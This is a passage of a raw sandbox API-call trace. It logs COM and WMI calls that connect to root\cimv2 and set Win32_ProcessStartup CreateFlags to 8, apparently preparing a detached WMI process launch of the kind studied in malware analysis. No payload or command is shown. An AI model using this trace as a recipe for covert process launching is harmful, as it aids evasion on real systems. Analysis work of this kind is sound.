Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0074.632] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf769f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0074.632] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf769f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0074.632] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0074.633] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0074.633] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf769f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0074.633] WbemLocator:IUnknown:Release (This=0x1bf769f0) returned 0x2 [0074.633] WbemLocator:IUnknown:Release (This=0x1bf769f0) returned 0x1 [0074.633] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0074.633] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0074.633] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf769f0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bf769f0) returned 0x0 [0074.633] WbemLocator:IUnknown:AddRef (This=0x1bf769f0) returned 0x3 [0074.633] WbemLocator:IUnknown:Release (This=0x1bf769f0) returned 0x2 [0074.633] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ef60, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0074.633] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ef60, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0074.633] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ef60, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0074.633] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bf76a10) returned 0x0 [0074.633] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf76a10, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf62af0) returned 0x0 [0074.800] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf62af0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11dee20) returned 0x0 [0074.800] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11dee20, pProxy=0x1bf62af0, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0074.800] WbemLocator:IUnknown:Release (This=0x11dee20) returned 0x1 [0074.800] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf62af0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11dee60) returned 0x0 [0074.800] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf62af0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11dee20) returned 0x0 [0074.800] WbemLocator:IClientSecurity:SetBlanket (This=0x11dee20, pProxy=0x1bf62af0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0074.800] WbemLocator:IUnknown:Release (This=0x11dee20) returned 0x2 [0074.800] WbemLocator:IUnknown:Release (This=0x11dee60) returned 0x1 [0074.800] CoTaskMemFree (pv=0x11f0e00) [0074.801] WbemLocator:IUnknown:AddRef (This=0x1bf62af0) returned 0x2 [0074.801] WbemLocator:IUnknown:Release (This=0x1bf76a10) returned 0x0 [0074.802] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0074.803] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0074.803] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf62af0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11dee30) returned 0x0 [0074.803] WbemLocator:IRpcOptions:Query (in: This=0x11dee30, pPrx=0x1bf76a90, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0074.803] WbemLocator:IUnknown:Release (This=0x11dee30) returned 0x2 [0074.803] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0074.803] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0074.803] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf62af0, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf62af0) returned 0x0 [0074.803] WbemLocator:IUnknown:Release (This=0x1bf62af0) returned 0x2 [0074.803] SysStringLen (param_1=0x0) returned 0x0 [0074.804] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6eea0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0074.804] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6eea0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0074.805] IWbemServices:GetObject (in: This=0x1bf62af0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x11ee9e0, ppCallResult=0x0) returned 0x0 [0074.806] IWbemClassObject:Get (in: This=0x11ee9e0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0074.806] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0074.807] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0074.807] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0074.807] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0074.807] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0074.807] IUnknown:Release (This=0x111f638) returned 0x1 [0074.809] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bf76a10) returned 0x0 [0074.810] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf76a10, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0074.810] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf76a10, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bf6f020) returned 0x0 [0074.810] WbemDefPath:IUnknown:Release (This=0x1bf76a10) returned 0x0 [0074.810] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f020, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bf6f020) returned 0x0 [0074.810] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f020, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0074.810] WbemDefPath:IUnknown:AddRef (This=0x1bf6f020) returned 0x3 [0074.810] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f020, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0074.810] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f020, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0074.811] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f020, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bf76a30) returned 0x0 [0074.811] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf76a30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0074.811] WbemDefPath:IUnknown:Release (This=0x1bf76a30) returned 0x3 [0074.811] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0074.811] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0074.811] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f020, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0074.811] WbemDefPath:IUnknown:Release (This=0x1bf6f020) returned 0x2 [0074.811] WbemDefPath:IUnknown:Release (This=0x1bf6f020) returned 0x1 [0074.811] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0074.811] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0074.811] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f020, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bf6f020) returned 0x0 [0074.811] WbemDefPath:IUnknown:AddRef (This=0x1bf6f020) returned 0x3 [0074.811] WbemDefPath:IUnknown:Release (This=0x1bf6f020) returned 0x2 [0074.811] WbemDefPath:IWbemPath:SetText (This=0x1bf6f020, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0074.812] IWbemClassObject:Get (in: This=0x11ee9e0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a16000*=0, plFlavor=0x2a16004*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a16000*=19, plFlavor=0x2a16004*=0) returned 0x0 [0074.812] IWbemClassObject:Get (in: This=0x11ee9e0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a16000*=19, plFlavor=0x2a16004*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a16000*=19, plFlavor=0x2a16004*=0) returned 0x0 [0074.812] IWbemClassObject:Put (This=0x11ee9e0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0074.812] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ede0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0074.812] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0074.812] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0074.812] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0074.812] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0074.813] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0074.813] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0074.813] IUnknown:Release (This=0x111f638) returned 0x1 [0074.814] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bf76bf0) returned 0x0 [0074.814] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf76bf0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0074.815] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf76bf0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bf6f0e0) returned 0x0 [0074.815] WbemDefPath:IUnknown:Release (This=0x1bf76bf0) returned 0x0 [0074.815] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f0e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bf6f0e0) returned 0x0 [0074.815] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f0e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0074.815] WbemDefPath:IUnknown:AddRef (This=0x1bf6f0e0) returned 0x3 [0074.815] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f0e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0074.815] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f0e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0074.815] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f0e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bf76c30) returned 0x0 [0074.815] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf76c30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0074.815] WbemDefPath:IUnknown:Release (This=0x1bf76c30) returned 0x3 [0074.815] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0074.815] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0074.815] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f0e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0074.815] WbemDefPath:IUnknown:Release (This=0x1bf6f0e0) returned 0x2 [0074.815] WbemDefPath:IUnknown:Release (This=0x1bf6f0e0) returned 0x1 [0074.816] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0074.816] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0074.816] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f0e0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bf6f0e0) returned 0x0 [0074.816] WbemDefPath:IUnknown:AddRef (This=0x1bf6f0e0) returned 0x3 [0074.816] WbemDefPath:IUnknown:Release (This=0x1bf6f0e0) returned 0x2 [0074.816] WbemDefPath:IWbemPath:SetText (This=0x1bf6f0e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0074.816] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f0e0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0074.816] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f0e0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0074.816] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f0e0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0074.816] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0074.816] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0074.816] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0074.816] IUnknown:Release (This=0x111f638) returned 0x1 [0074.817] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bf76d30) returned 0x0 [0074.817] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf76d30, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0074.817] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf76d30, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bf76d50) returned 0x0 [0074.817] WbemLocator:IUnknown:Release (This=0x1bf76d30) returned 0x0 [0074.817] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf76d50, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, 